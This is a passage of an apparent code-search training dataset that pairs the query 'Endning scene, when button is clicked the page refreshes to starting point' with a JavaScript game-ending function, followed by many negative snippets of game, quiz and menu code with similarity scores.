7 };\\n var titleText = game.add.text(512, 250, \\\"Fate/Grand Wars\\\", titleStyle).setOrigin(0.5, 0.5);\\n titleText.setShadow(1, 1, 'rgba(0,0,0,0.9)', 2, true, false);\\n\\n // Music\\n var music = game.sound.add('menu-bgm', { volume: 0.5 } );\\n music.loop = true;\\n music.play();\\n\\n\\n // Button sprite\\n var button = game.add.sprite(512, 400, 'button-medium').setInteractive( useHandCursor() );\\n button.on('pointerdown', (pointer) => {\\n if (!pointer.rightButtonDown()) {\\n button.tint = 0xbbbbbb;\\n button.removeInteractive();\\n startGame(game, music);\\n }\\n } );\\n button.on('pointerover', function (pointer) { button.tint = 0xbbbbbb; } );\\n button.on('pointerout', function (pointer) { button.tint = 0xffffff; } );\\n\\n // Start Text\\n var startStyle = { font: \\\"35px Optima\\\", fill: \\\"#000\\\" };\\n var startText = game.add.text(512, 400, \\\"START\\\", startStyle).setOrigin(0.5, 0.5);\\n}\",\n \"function mainMenu() {\\n inquirer.prompt({\\n type: \\\"list\\\",\\n name: \\\"action\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n { name: \\\"Add something\\\", value: createMenu },\\n { name: \\\"View something\\\", value: readMenu },\\n { name: \\\"Change something\\\", value: updateMenu },\\n { name: \\\"Remove something\\\", value: deleteMenu },\\n { name: \\\"Quit\\\", value: quit }\\n ]\\n }).then(({ action }) => action());\\n}\",\n \"function menuOptions() {}\",\n \"function handleFancyRestaurantChoice() {\\n /** @type {HTMLInputElement} Input field. */\\n const dishInput = document.getElementById(\\\"dish-input\\\").value;\\n const fancyMenu = [\\\"pizza\\\", \\\"paella\\\", \\\"pasta\\\"]\\n\\n if(dishInput == fancyMenu[0]) {\\n restaurantClosing();\\n } else if (dishInput == fancyMenu[1]) {\\n restaurantClosing();\\n } else if (dishInput == fancyMenu[2]) {\\n restaurantClosing();\\n } else {\\n fancyRestauratMenu();\\n }\\n}\",\n \"function onOpen() {\\n var ui = SpreadsheetApp.getUi();\\n // Or DocumentApp or FormApp.\\n ui.createMenu('Own scripts')\\n .addItem('Search Calendar Events', 'searchCalendarEvents')\\n .addSeparator()\\n .addSubMenu(ui.createMenu('Development')\\n .addItem('First item', 'devMenuItem1')\\n .addItem('Second item', 'devMenuItem2')\\n )\\n .addToUi();\\n}\",\n \"_initMenu() {\\n this.menu.parentMenu = this.triggersSubmenu() ? this._parentMenu : undefined;\\n this.menu.direction = this.dir;\\n this._setMenuElevation();\\n this._setIsMenuOpen(true);\\n this.menu.focusFirstItem(this._openedBy || 'program');\\n }\",\n \"function mainMenu() {\\n inquirer\\n .prompt({\\n name: \\\"action\\\",\\n type: \\\"rawlist\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"Add Departments\\\",\\n \\\"Add Roles\\\",\\n \\\"Add Employees\\\",\\n \\\"View Departments\\\",\\n \\\"View Roles\\\",\\n \\\"View Employees\\\",\\n \\\"Update Role\\\",\\n \\\"Update Manager\\\"\\n // \\\"View Employees by Manager\\\"\\n ]\\n })\\n // Case statement for selection of menu item\\n .then(function(answer) {\\n switch (answer.action) {\\n case \\\"Add Departments\\\":\\n addDepartments();\\n break;\\n case \\\"Add Roles\\\":\\n addRoles();\\n break;\\n case \\\"Add Employees\\\":\\n addEmployees();\\n break;\\n case \\\"View Departments\\\":\\n viewDepartments();\\n break;\\n\\n case \\\"View Roles\\\":\\n viewRoles();\\n break;\\n case \\\"View Employees\\\":\\n viewEmployees();\\n break;\\n case \\\"Update Role\\\":\\n updateRole();\\n break;\\n case \\\"Update Manager\\\":\\n updateManager();\\n break;\\n // case \\\"View Employees by Manager\\\":\\n // viewEmployeesByManager();\\n // break;\\n }\\n });\\n}\",\n \"function initialLoad() {\\n $('ul.sf-menu').superfish({\\n delay: 500,\\n animation: {opacity:'show',height:'show'},\\n speed: 'slow',\\n autoArrows: true,\\n dropShadows: false\\n });\\n $('.toolTipCls').tooltip();\\n ITL.view.datePicker($(\\\".datepicker\\\"));\\n }\",\n \"function Scene_GFMenu() {\\n this.initialize.apply(this, arguments);\\n}\",\n \"function fecharMenu() {\\n\\t\\t$('div.menu-mobile').stop(true, true).animate({'marginLeft':'-550px'}, 300);\\n\\t\\t$('.fundo-preto-mobile').stop(true, true).removeClass('active').hide();\\n\\t\\t$('#menumobile a.fecharmenu').stop(true, true).removeClass('fadeIn').addClass('animated fadeOut').hide();\\n\\t\\t$('div.menu-mobile ul.primeira').stop(true, true).hide();\\n\\t\\t$('.menu-mobile ul.primeira li.um').stop(true, true).hide();\\n\\t\\t$('.menu-mobile ul.primeira li.dois').stop(true, true).hide();\\n\\t\\t$('.menu-mobile ul.primeira li.tres').stop(true, true).hide();\\n\\t\\t$('.menu-mobile ul.primeira li.quatro').stop(true, true).hide();\\n\\t\\t$('.menu-mobile ul.primeira li.cinco').stop(true, true).hide();\\n\\t\\t$('.menu-mobile ul.primeira li.seis').stop(true, true).hide();\\n\\t\\t$('.menu-mobile ul.primeira li.sete').stop(true, true).hide();\\n\\t\\t$('div.menu-mobile > ul.primeira > li').stop(true, true).removeClass('flipInX').addClass('animated flipOutX').hide();\\n\\t\\t$('div.menu-mobile').stop(true, true).removeClass('open');\\n\\t\\t$('span.flaticon-arrow').stop(true, true).removeClass('flaticon-arrow').addClass('flaticon-arrow-down-sign-to-navigate');\\n\\t\\t$('ul.esconder').stop(true, true).removeClass('bounceInLeft').hide();\\n\\t}\",\n \"function fancyRestauratMenu() {\\n subTitle.innerText = fancyRestaurantWelcome;\\n firstButton.classList.add(\\\"hidden\\\");\\n secondButton.classList.add(\\\"hidden\\\");\\n fancyDiv.classList.remove(\\\"hidden\\\");\\n\\n handleFancyRestaurantChoice();\\n}\",\n \"function walkHome(){\\r\\n\\tbackground(0);\\r\\n\\tfirstOption.hide();\\r\\n\\tsecondOption.hide();\\r\\n\\tuserName.hide();\\r\\n\\r\\n\\t//change the text for the title\\r\\n\\ttitle.html(\\\"You have gone home. Good Night.\\\");\\r\\n\\r\\n\\t//startOver = createA(\\\"index.html\\\", \\\"Start Over\\\")\\r\\n\\t//firstOption.mousePressed(startOver);\\r\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.65776086","0.65583575","0.65202","0.6496863","0.6446255","0.6437807","0.6436781","0.64309365","0.6362453","0.6336776","0.6317718","0.6301867","0.6280807","0.6278971","0.6271259","0.62144846","0.6179938","0.6157224","0.6079268","0.6076413","0.6034619","0.6029177","0.59927243","0.5964183","0.59235823","0.59214294","0.5916339","0.5899422","0.5889041","0.58886987","0.58853495","0.5881217","0.5871996","0.5862523","0.58601534","0.5856003","0.5831402","0.58295476","0.58288664","0.5826047","0.5825483","0.58118355","0.5811118","0.58062553","0.58027154","0.5800293","0.5796981","0.57861143","0.5781985","0.5778237","0.5771747","0.5770944","0.57669604","0.57635635","0.57555807","0.57539654","0.57530385","0.5745582","0.57405066","0.57396847","0.5736355","0.5729542","0.5724832","0.5723902","0.57185555","0.57114834","0.57074267","0.57036585","0.57005155","0.5700176","0.56981987","0.56966174","0.56944776","0.56926364","0.5688518","0.56851935","0.56845534","0.5671059","0.56694376","0.56685084","0.5666951","0.5666337","0.5659075","0.56590444","0.56467944","0.56407386","0.56365424","0.5635241","0.5630158","0.5628872","0.562164","0.561832","0.5617711","0.56088185","0.56058514","0.56051934","0.5603087","0.55950725","0.558658","0.5584327"],"string":"[\n \"0.65776086\",\n \"0.65583575\",\n \"0.65202\",\n \"0.6496863\",\n \"0.6446255\",\n \"0.6437807\",\n \"0.6436781\",\n \"0.64309365\",\n \"0.6362453\",\n \"0.6336776\",\n \"0.6317718\",\n \"0.6301867\",\n \"0.6280807\",\n \"0.6278971\",\n \"0.6271259\",\n \"0.62144846\",\n \"0.6179938\",\n \"0.6157224\",\n \"0.6079268\",\n \"0.6076413\",\n \"0.6034619\",\n \"0.6029177\",\n \"0.59927243\",\n \"0.5964183\",\n \"0.59235823\",\n \"0.59214294\",\n \"0.5916339\",\n \"0.5899422\",\n \"0.5889041\",\n \"0.58886987\",\n \"0.58853495\",\n \"0.5881217\",\n \"0.5871996\",\n \"0.5862523\",\n \"0.58601534\",\n \"0.5856003\",\n \"0.5831402\",\n \"0.58295476\",\n \"0.58288664\",\n \"0.5826047\",\n \"0.5825483\",\n \"0.58118355\",\n \"0.5811118\",\n \"0.58062553\",\n \"0.58027154\",\n \"0.5800293\",\n \"0.5796981\",\n \"0.57861143\",\n \"0.5781985\",\n \"0.5778237\",\n \"0.5771747\",\n \"0.5770944\",\n \"0.57669604\",\n \"0.57635635\",\n \"0.57555807\",\n \"0.57539654\",\n \"0.57530385\",\n \"0.5745582\",\n \"0.57405066\",\n \"0.57396847\",\n \"0.5736355\",\n \"0.5729542\",\n \"0.5724832\",\n \"0.5723902\",\n \"0.57185555\",\n \"0.57114834\",\n \"0.57074267\",\n \"0.57036585\",\n \"0.57005155\",\n \"0.5700176\",\n \"0.56981987\",\n \"0.56966174\",\n \"0.56944776\",\n \"0.56926364\",\n \"0.5688518\",\n \"0.56851935\",\n \"0.56845534\",\n \"0.5671059\",\n \"0.56694376\",\n \"0.56685084\",\n \"0.5666951\",\n \"0.5666337\",\n \"0.5659075\",\n \"0.56590444\",\n \"0.56467944\",\n \"0.56407386\",\n \"0.56365424\",\n \"0.5635241\",\n \"0.5630158\",\n \"0.5628872\",\n \"0.562164\",\n \"0.561832\",\n \"0.5617711\",\n \"0.56088185\",\n \"0.56058514\",\n \"0.56051934\",\n \"0.5603087\",\n \"0.55950725\",\n \"0.558658\",\n \"0.5584327\"\n]"},"document_score":{"kind":"string","value":"0.58811235"},"document_rank":{"kind":"string","value":"32"}}},{"rowIdx":67,"cells":{"query":{"kind":"string","value":"Endning scene, when button is clicked the page refreshes to starting point."},"document":{"kind":"string","value":"function restaurantClosing() {\n subTitle.innerText = gameExit;\n firstButton.innerText = \"Play again?\";\n firstButton.classList.remove(\"hidden\");\n\n fancyDiv.classList.add(\"hidden\");\n fastDiv.classList.add(\"hidden\");\n firstButton.onclick = function() {\n location.reload();\n }\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function end(){\n Manager.clearGame();\n changeState(gameConfig.GAME_STATE_START_SCENE);\n}","function endGame() {\n $('.home').css({ 'margin-top': '0px' });\n disappear('.instructions');\n hide('.view-button');\n disappear('.follow-circle');\n disappear('.instructions');\n state = \"view\";\n }","endGame(){\n score.addToScore(this.result, 'somejsontoken');\n this.scene.pause();\n const sceneEnd = this.scene.get('end');\n sceneEnd.scene.start();\n //this.scene.add(\"end\", new End(this.result));\n }","function end() {\n gameScene.visible = false;\n gameOverScene.visible = true;\n}","function end() {\n gameScene.visible = false;\n gameOverScene.visible = true;\n}","function endScreen() {\n // set variable for final score\n var finalScore = score + internalScore;\n\n // change reset variable to prevent reset. game is done...\n resetWhere = 6;\n console.log('spelet är slut');\n var gameArea = document.getElementById('gameArea');\n gameArea.innerHTML = '

                    Resultat

                    ';\n gameArea.innerHTML += '

                    Du fick totalt ' + finalScore + ' poäng av 25 möjliga

                    ';\n gameArea.innerHTML += '

                    Hur pass bra resultat fick du?

                    ';\n gameArea.innerHTML += '
                    • Under 8 poäng: Njaaaa....
                    • 8 - 16 poäng: Nu börjar det likna något.
                    • 16 - 22 poäng: Sådär ja!
                    • 22 - 25 poäng: Heter du Einstein i efternamn?
                    ';\n gameArea.innerHTML += '';\n\n document.getElementById('moveOn').addEventListener('click', function() {\n window.location.reload();\n });\n\n }","function endGame() {\n resetMainContainer();\n loadTemplate(\"result\", displayResults);\n}","function lightningEnd(){\n currentScene = \"congrats\"\n }","function end () {\n //the page goes white\n $('body').css({\n backgroundColor: 'white',\n });\n $('#canvas').css({\n visibility: 'hidden',\n });\n\n //the final package downloads\n window.open('https://whogotnibs.github.io/dart450/assignment02/downloads/package03.zip', '_blank');\n\n //the game functions stop running\n end = true;\n\n //the music stops\n Gibber.clear();\n}","function loadEnd() {\n quizPage.style.display = \"none\";\n endPage.style.display = \"block\";\n clearInterval(timeInterval);\n}","function endPage() {\n next.classList.add(\"hide\");\n quizMain.classList.add(\"hide\");\n endSection.classList.remove(\"hide\");\n start.classList.remove(\"hide\");\n start.innerHTML = \"Restart\";\n score.innerHTML = \"You got \" + scoreNum + \" questions correct\";\n clearInterval(timeInterval);\n}","function endQuiz() {\n quizPage.hidden = true;\n finalPage.hidden = false;\n quizTimer.hidden = true;\n}","function handleFinalPage() {\r\n $(`main`).on(`click`, `#restart`, function () {\r\n store.quizStarted = false;\r\n store.questionNumber = 0;\r\n store.score = 0;\r\n render();\r\n });\r\n}","function end() {\n menuScene.visible = false;\n musicPacmanBeginning.stop();\n soundPacmanIntermission.stop();\n// gameSceneLevel2.visible = false;\n gameSceneLevel1.visible = false;\n gameOverScene.visible = true;\n}","function checkForEnd() {\n\t\tsetTimeout(function () {\n\t\t\t$(\"#content\").fadeOut(500, function () {\n\n\t\t\t\twindow.location = \"scene_pig3story.html\";\n\t\t\t});\n\t\t}, 2400);\n\t\tsetTimeout(function () {\n\t\t\t$(\"body\").removeClass(\"blackFade\");\n\t\t}, 1900);\n\t}","function endGame() {\n location.reload();\n}","function endGame() {\n // Réinitialisation de l'affichage du dé\n resetImage(); \n // Position du sélecteur\n selector();\n //Lancement nouvelle partie\n newGame();\n}","end(){\n this.request({\"component\":this.component,\"method\":\"end\",\"args\":[\"\"]})\n this.running = false\n }","function endOfGame() {\n\tcreatesMensg();\n\tstopTime();\n\tshowModal();\n}","function showNextScene() {\n // clear screen\n ((sceneCount + sceneIndex) + 0.5) % sceneCount\n}","function endGame() {\n location.href = \"index.html\";\n}","function returnToMain(){\n teleMode = false;\n console.log('reutrn to main');\n fadeAll();\n game.time.events.add(500, function() {\n game.state.start('startScreen');\n }, this);\n}","function endGame(){\n // Make the correct scenes visible\n titleScene.visible = false;\n gameScene.visible = false;\n gameOverScene.visible = true;\n // Set the background\n renderer.backgroundColor = GAME_OVER_BACKGROUND_COLOR;\n // Use white audio icons\n audioHelper.whiteIcons();\n // Add the game over message to the end scene\n gameOverMessage = new PIXI.Text(\n \"GAME OVER!\",\n {fontFamily: GAME_FONT, fontSize: 60, fill: 0xEA212E}\n );\n gameOverMessage.position.set(GAME_WIDTH/2-gameOverMessage.width/2, GAME_HEIGHT/2-gameOverMessage.height);\n gameOverScene.addChild(gameOverMessage);\n // Create a score ScoreSubmitter\n scoreSubmitter = new ScoreSubmitter();\n // Bind the end-game keys\n bindEndKeys();\n // Stop the timer and set to end\n gameTimer.stop();\n gameTimer.whiteText();\n scoreKeeper.whiteText();\n gameState = end;\n}","function endOfGame() {\n var reset = document.getElementById(\"newGame\");\n reset.addEventListener(\"click\", function() {\n window.location.reload();\n });\n}","endGame() {\n this.state = \"endOfGame\";\n\n var resetButton = $(\"\");\n\n resetButton.on(\"click\", function() {\n // Empty all game zones of any remaining content\n $(\"#characterSelect\").empty();\n $(\"#opponentSelect\").empty();\n $(\"#battleZone\").empty();\n $(\"#combatLog\").empty();\n\n // Recreate character cards and set game to character selection\n game.setupCharCards();\n game.state = \"charSelect\";\n\n // Remove reset button\n $(this).remove();\n\n });\n\n resetButton.insertAfter($(\"#atkBtn\"));\n }","function finalScore() {\n $('.start-container').html(finalPage());\n $('.restartButton').on('click', function (event) {\n event.preventDefault();\n STORE.score = 0;\n $('.score').html('0 / 7');\n STORE.questionNumber = 0;\n $('.questionNumber').html('0 / 7');\n startPage();\n });\n\n}","function endGame(){\n\tspawnBall();\n\tcenterBall();\n\tspawnPlayerOne();\n\tspawnPlayerTwo();\n\tupdateScore();\n\t$('#menuCanvas').show();\n}","function exitGame(){\n selectModalButton($('#exit'));\n window.location.assign(\"../start.html\");\n }","function scene4() {\n animateBottle(0);\n\n // window.removeEventListener(\"click\", scene3);\n $(\"#btn\").off(\"click\");\n tl = new TimelineLite();\n tl.to($(\"#grass\"), 1, { autoAlpha: 1 })\n .to($(\"#coral\"), 1, {\n autoAlpha: 1,\n delay: 0\n })\n .to($(\"#d-2\"), 1, { autoAlpha: 1 })\n .to($(\"#d-2\"), 1, { autoAlpha: 0 })\n .to($(\"#d-4\"), 1, { autoAlpha: 1 });\n\n localStorage.setItem(\"currentScene\", 4);\n console.log(\"Scene 4 starting\");\n\n $(\"#btn\").on(\"click\", function() {\n tl.to($(\"#d-4\"), 1, { autoAlpha: 0 });\n tl.to($(\"#coral\"), 0.3, { autoAlpha: 0 });\n scene5();\n });\n\n $(\"#read-more\").on(\"click\", function() {\n tl.pause();\n });\n $(\"#back\").on(\"click\", function() {\n tl.play(scene5());\n });\n}","function LoadNextScene()\n{\n\t// This special Unity function loads the scene with the exact name that you send it - as long as the scene is in the project's build settings!\n\t// If you have trouble with this, double check the name, spelling, case and build settings\n\tApplication.LoadLevel(\"End-scene\");\n}","function endScreen() {\n leaderboardScreen.style.display = 'none';\n homeScreen.style.display = 'none';\n endQuiz.style.display = 'flex';\n quizPrompts.style.display = 'none';\n timer.style.visibility = 'hidden';\n\n yourScore()\n}","function backButtonClicked(event) {\n stage.removeChild(game);\n game.removeAllChildren();\n game.removeAllEventListeners();\n currentState = constants.MENU_STATE;\n changeState(currentState);\n }","function finishGame() {\n $('#startGame').removeClass('hidden');\n $('#startButton').addClass('btn-danger');\n $('#answers').addClass('hidden');\n $('#titleDiv').addClass('hidden');\n $('#imageDiv').addClass('hidden');\n $('#answers').addClass('hidden');\n $('#startButton').text('Play again?');\n $('#startButton').attr('onclick', 'location.reload()');\n}","function shutdown () {\n // Volvemos a crear el boton de start y lo llevamos al frente\n startButton = game.add.button(game.width / 2, 300, 'startButton', startClick, this);\n startButton.anchor.setTo(0.5, 0.5);\n // Ponemos imagen Game Over\n this.add.sprite(50, 200, 'gameOver');\n}","function endGame() {\n window.location.href = \"scores.html\"\n\n}","function navigateToScoreOverview(){\n ApplicationEnded=true;\n gotoScoreOverview();\n}","function sceneBack() {\n\t// if can pop scene\n\tif ( App.sceneStack.length > 1 ){\n\t\tvar scene = App.popScene();\n\t\ttransitionScene( App.scene, scene, 1 );\n\t// otherwise quit\n\t} else {\n\t\tquit();\n\t}\n}","function endGame() {\n //hide words\n $(\".fiveWords\").hide();\n //rid of opacity for start game button\n document.getElementById(\"startGameButton\").style.opacity = 1;\n //enable start button\n startButton.disabled = false;\n //make button opaque for end game\n document.getElementById(\"endGameButton\").style.opacity = .4;\n //disable the end button\n endButton.disabled = true;\n //get time score\n userScore = time;\n \n //change value of game over -- alec\n gameOver = true;\n \n //document.getElementById(\"myAnimation1\").innerHTML = userScore.toString();\n \n //stop the timer\n clearInterval(timer);\n \n window.location.replace('https://typegamertype.000webhostapp.com//highscore.php?score=' + userScore);\n}","function endGame() {\n\n partidas++;\n tiempoJugadores();\n\n //Si se termina la segunda ronda va al estado ranking\n if (partidas == 2)\n game.state.start('ranking', true, false, tj1, tj2);\n\n //Si termina la primera ronda, va al estado win\n else\n game.state.start('win', true, false);\n\n}","moveToNextScene()\n {\n\n if(seconds2 < 0)\n {\n this.add.text(240, 345, 'Survived green and red bug\\n Click to meet yellow bug', { fontSize: '18px', fill: '#000000' })\n this.input.on(\"pointerup\", () => {\n this.scene.stop(\"GameScene\");\n this.scene.start('YellowBugScene');\n });\n //reset time\n seconds = 1;\n seconds2 = 1;\n }\n }","function showEnd() {\n console.log(\"showEnd ran\");\n getResult();\n $(\"#topright\").hide();\n $(\"#gamecontents\").hide();\n $(\"#end\").show();\n }","function end_game_flow () {\n\t// console.log(\"end...\");\n\t// block all the event to gems\n\tthis.backgroundView.updateOpts({\n\t\tblockEvents: true\n\t});\n\t// disable scoreboard\n\tthis._scoreboard.updateOpts({\n\t\tvisible: false\n\t});\n\t// show end screen\n\tthis._endheader.updateOpts({\n\t\tvisible: true,\n\t\tcanHandleEvents: true\n\t});\n\tanimate(this._endheader).wait(800).then({y: 0}, 100, animate.easeIn).then({y: 35}, 1000, animate.easeIn);\n\n\t// show score\n\tvar scoreText = new TextView({\n\t\tsuperview: this._endheader,\n\t\tx: 0,\n\t\ty: 35, // endscreen animate end point\n\t\twidth: 350,\n\t\theight: 233,\n\t\tautoSize: true,\n\t\ttext: \"You achieved \" + score.toString(),\n\t\tsize: 38,\n\t\tverticalAlign: 'middle',\n\t\thorizontalAlign: 'center',\n\t\tcanHandleEvents: false\n\t});\n\t// //slight delay before allowing a tap reset\n\tsetTimeout(emit_endgame_event.bind(this), 2000);\n\tconsole.log('end game flow.. \\n');\n}","function endGame() {\n gameStarted = false;\n background('Black');\n fill(255)\n text(\"GAME OVER\", width / 2, height /2);\n cursor();\n \n tryAgainButton = createButton(\"Try Again?\");\n tryAgainButton.position(width / 2 - ((width / 4) / 2), height * 0.7);\n tryAgainButton.size(width /4, height / 8);\n tryAgainButton.mousePressed(tryAgain);\n \n}","function backClicked(event) {\n stage.removeChild(game);\n game.removeAllChildren();\n game.removeAllEventListeners();\n constants.engineSound.stop();\n currentState = constants.MENU_STATE;\n changeState(currentState);\n }","function actionOnClickBack() {\n\t\t\t//alert('Saldras de la carrera');\n\t\t\tgame.state.start('mainMenuState')\n\t\t}","finish(){\n model.stat.timer.stop();\n alert(model.algorithm.getCurrStep().description+' '+model.algorithm.getCurrStep().help);\n\t\tdocument.getElementById('nextBtn').disabled=true;\n\t\tdocument.getElementById('autoRunBtn').disabled=true;\n }","function handleEndQuiz() {\n $('main').on('click', '.js-end-button', (event) => {\n store.score = 0;\n store.questionNumber = 0;\n store.quizStarted = false;\n renderQuizScreen();\n });\n}","function endQuiz(){\n clearInterval(timerInterval);\n document.querySelector('.endPage').style.display = \"block\";\n document.getElementById('quiz').style.display = \"none\";\n \n }","function finish () {\n $(\".game\").html(\"\");\n $(\"#choices\").html(\"\");\n $(\"#wins\").text(\"Correct: \" + wins);\n $(\"#losses\").text(\"Incorrect: \" + losses);\n restart();\n }","function scene5() {\n animateBottle(0);\n\n // window.removeEventListener(\"click\", scene3);\n $(\"#btn\").off(\"click\");\n tl = new TimelineLite();\n tl.to($(\"#dirt\"), 1, { autoAlpha: 1 })\n .to($(\".help-1\"), 5, { autoAlpha: 1, ease: Bounce.easeOut })\n .to($(\".help-1\"), 0, { autoAlpha: 0, ease: Bounce.easeOut })\n .to($(\".help-2\"), 5, { autoAlpha: 1, ease: Bounce.easeOut })\n .to($(\".help-2\"), 0, { autoAlpha: 0, ease: Bounce.easeOut })\n .to($(\".help-3\"), 5, { autoAlpha: 1, ease: Bounce.easeOut })\n .to($(\".help-3\"), 0, { autoAlpha: 0, ease: Bounce.easeOut })\n .to($(\".help-4\"), 5, { autoAlpha: 1, ease: Bounce.easeOut })\n .to($(\".help-4\"), 0, { autoAlpha: 0, ease: Bounce.easeOut })\n .to($(\".help-5\"), 5, { autoAlpha: 1, ease: Bounce.easeOut })\n .to($(\".help-5\"), 0, { autoAlpha: 0, ease: Bounce.easeOut });\n\n localStorage.setItem(\"currentScene\", 5);\n console.log(\"Scene 5 starting\");\n}","goToScene(){\n this.return = false;\n this.nameArea.text = \"\";\n }","function endGame(){\r\n youWonGif();\r\n document.getElementById(\"canvas\").style.display = \"none\";\r\n document.getElementById(\"level\").style.display = \"none\";\r\n document.getElementById(\"scorePoint\").style.display = \"none\";\r\n document.getElementById(\"scoreCat1\").style.display = \"none\";\r\n document.getElementById(\"endScorePoint\").style.display = \"block\";\r\n document.getElementById(\"startbtn\").style.display = \"none\";\r\n document.getElementById(\"newbtn\").style.display = \"block\";\r\n document.getElementById(\"intro\").style.display = \"none\";\r\n document.getElementById(\"endGame\").style.display = \"block\";\r\n \r\n}","function onNextClick() {\n\n\tAlloy.Globals.NAVIGATION_CONTROLLER.openWindow('startScreen');\n\tAlloy.Globals.NAVIGATION_CONTROLLER.closeWindow('welcomeScreen');\n\tAlloy.Globals.NAVIGATION_CONTROLLER.closeWindow('welcomeContentScreen');\n}","function handleStartOver() {\n $('body').on('click', '#restart-button', (e) => {\n \n store.view = 'landing';\n store.questionNumber = 0;\n store.score = 0;\n render()\n })\n\n}","function endQuiz() {\n\n // clear page\n clearPage();\n\n // replace start button\n $(\"#start-button\").append(\"\");\n\n // show user how they did\n quizQuestion.append(\"
                    Correct Guesses: \" + correctGuesses + \"
                    \");\n quizQuestion.append(\"
                    Incorrect Guesses: \" + (questions.length - correctGuesses) + \"
                    \");\n\n }","function redoScene() {\n drawBox(guiParams.mode);\n TW.render();\n}","function endWizardPlanes () {\n\t\t\t$('.wizardPlanes-pasos:not(.pasoFinal)').slideUp();\n\t\t\t$('.wizardPlanes-pasos.wizard-pasoFinal').slideDown();\n\t\t\t$('header h3.ta-center').html('El plan más conveniente para ti es');\n\t\t\t$('header h4').remove();\n\t\t\t$('html, body').animate({scrollTop: $('header h3').offset().top}, 500);\n\t\t}","function gameRestartFragment()\n{\n\ttextSize(100);\n\ttext(\"GAMEOVER\", width/2, height/2);\n\ttextAlign(CENTER, CENTER);\n\n\t//resetBtn = createButton('RESET');\n \t//resetBtn.position(width/2 - 70, height/2 + 100);\n \t//resetBtn.mousePressed(mousePressed);\n}","function endGame(){\n $('.card-container').removeClass(\"selected-card\");\n $('.card-container').remove();\n while(model.getCardObjArr().length > 0){\n model.removeFromCardObjArr(0);\n }\n\n while(model.getDisplayedCardArr().length > 0){\n model.removeFromDisplayedCardArr(0)\n }\n\n while(model.getSelectedCardObjArr().length > 0){\n model.removeFromSelectedCardArr(0)\n }\n if(($(\".card-display-container\").find(\".game-over-page\").length) === 0){\n createGameOverPage();\n createWinnerPage();\n } else {\n return;\n }\n }","function endgame() {\n $(\"flee-btn\").classList.add(\"hidden\");\n $(\"endgame\").classList.add(\"hidden\");\n $(\"their-card\").classList.add(\"hidden\");\n $(\"pokedex-view\").classList.remove(\"hidden\");\n qs(\"#my-card .buffs\").classList.add(\"hidden\");\n qs(\"#my-card .health-bar\").style.width = \"100%\";\n qs(\"#my-card .hp\").innerHTML = pokeHP + \"HP\";\n $(\"results-container\").classList.add(\"hidden\");\n $(\"p1-turn-results\").classList.add(\"hidden\");\n $(\"title\").innerHTML = \"Your Pokedex\";\n $(\"start-btn\").classList.remove(\"hidden\");\n }","end() {\n this.endZoomInMode();\n this.endHandMode();\n }","function endGame() {\n // Overlay\n // Show score\n // Show table \n // Give user chance to restart\n // TODO: add high score to renderGUI\n\n uploadScore(score);\n score = 0;\n}","function endGame() {\n var unansewerPoint = questions.length - currentQuestionNumber + skipQuestionPoint;\n $('.btn-group-vertical').empty();\n stop();\n //when time out, show the number of correct guesses, wrong guesses, unansewer and show start over button\n $('#currQuestion').html('You have ' + correctPoint + ' correct scorrect point!
                    You have ' + incorrectPoint + ' incorrect scorrect point!
                    You have ' + unansewerPoint + ' unansewer!
                    ');\n // Start over, do not reload the page, just reset the game\n var restbtn = $('';\\n\\n document.getElementById('moveOn').addEventListener('click', function() {\\n window.location.reload();\\n });\\n\\n }\",\n \"function endGame() {\\n resetMainContainer();\\n loadTemplate(\\\"result\\\", displayResults);\\n}\",\n \"function lightningEnd(){\\n currentScene = \\\"congrats\\\"\\n }\",\n \"function end () {\\n //the page goes white\\n $('body').css({\\n backgroundColor: 'white',\\n });\\n $('#canvas').css({\\n visibility: 'hidden',\\n });\\n\\n //the final package downloads\\n window.open('https://whogotnibs.github.io/dart450/assignment02/downloads/package03.zip', '_blank');\\n\\n //the game functions stop running\\n end = true;\\n\\n //the music stops\\n Gibber.clear();\\n}\",\n \"function loadEnd() {\\n quizPage.style.display = \\\"none\\\";\\n endPage.style.display = \\\"block\\\";\\n clearInterval(timeInterval);\\n}\",\n \"function endPage() {\\n next.classList.add(\\\"hide\\\");\\n quizMain.classList.add(\\\"hide\\\");\\n endSection.classList.remove(\\\"hide\\\");\\n start.classList.remove(\\\"hide\\\");\\n start.innerHTML = \\\"Restart\\\";\\n score.innerHTML = \\\"You got \\\" + scoreNum + \\\" questions correct\\\";\\n clearInterval(timeInterval);\\n}\",\n \"function endQuiz() {\\n quizPage.hidden = true;\\n finalPage.hidden = false;\\n quizTimer.hidden = true;\\n}\",\n \"function handleFinalPage() {\\r\\n $(`main`).on(`click`, `#restart`, function () {\\r\\n store.quizStarted = false;\\r\\n store.questionNumber = 0;\\r\\n store.score = 0;\\r\\n render();\\r\\n });\\r\\n}\",\n \"function end() {\\n menuScene.visible = false;\\n musicPacmanBeginning.stop();\\n soundPacmanIntermission.stop();\\n// gameSceneLevel2.visible = false;\\n gameSceneLevel1.visible = false;\\n gameOverScene.visible = true;\\n}\",\n \"function checkForEnd() {\\n\\t\\tsetTimeout(function () {\\n\\t\\t\\t$(\\\"#content\\\").fadeOut(500, function () {\\n\\n\\t\\t\\t\\twindow.location = \\\"scene_pig3story.html\\\";\\n\\t\\t\\t});\\n\\t\\t}, 2400);\\n\\t\\tsetTimeout(function () {\\n\\t\\t\\t$(\\\"body\\\").removeClass(\\\"blackFade\\\");\\n\\t\\t}, 1900);\\n\\t}\",\n \"function endGame() {\\n location.reload();\\n}\",\n \"function endGame() {\\n // Réinitialisation de l'affichage du dé\\n resetImage(); \\n // Position du sélecteur\\n selector();\\n //Lancement nouvelle partie\\n newGame();\\n}\",\n \"end(){\\n this.request({\\\"component\\\":this.component,\\\"method\\\":\\\"end\\\",\\\"args\\\":[\\\"\\\"]})\\n this.running = false\\n }\",\n \"function endOfGame() {\\n\\tcreatesMensg();\\n\\tstopTime();\\n\\tshowModal();\\n}\",\n \"function showNextScene() {\\n // clear screen\\n ((sceneCount + sceneIndex) + 0.5) % sceneCount\\n}\",\n \"function endGame() {\\n location.href = \\\"index.html\\\";\\n}\",\n \"function returnToMain(){\\n teleMode = false;\\n console.log('reutrn to main');\\n 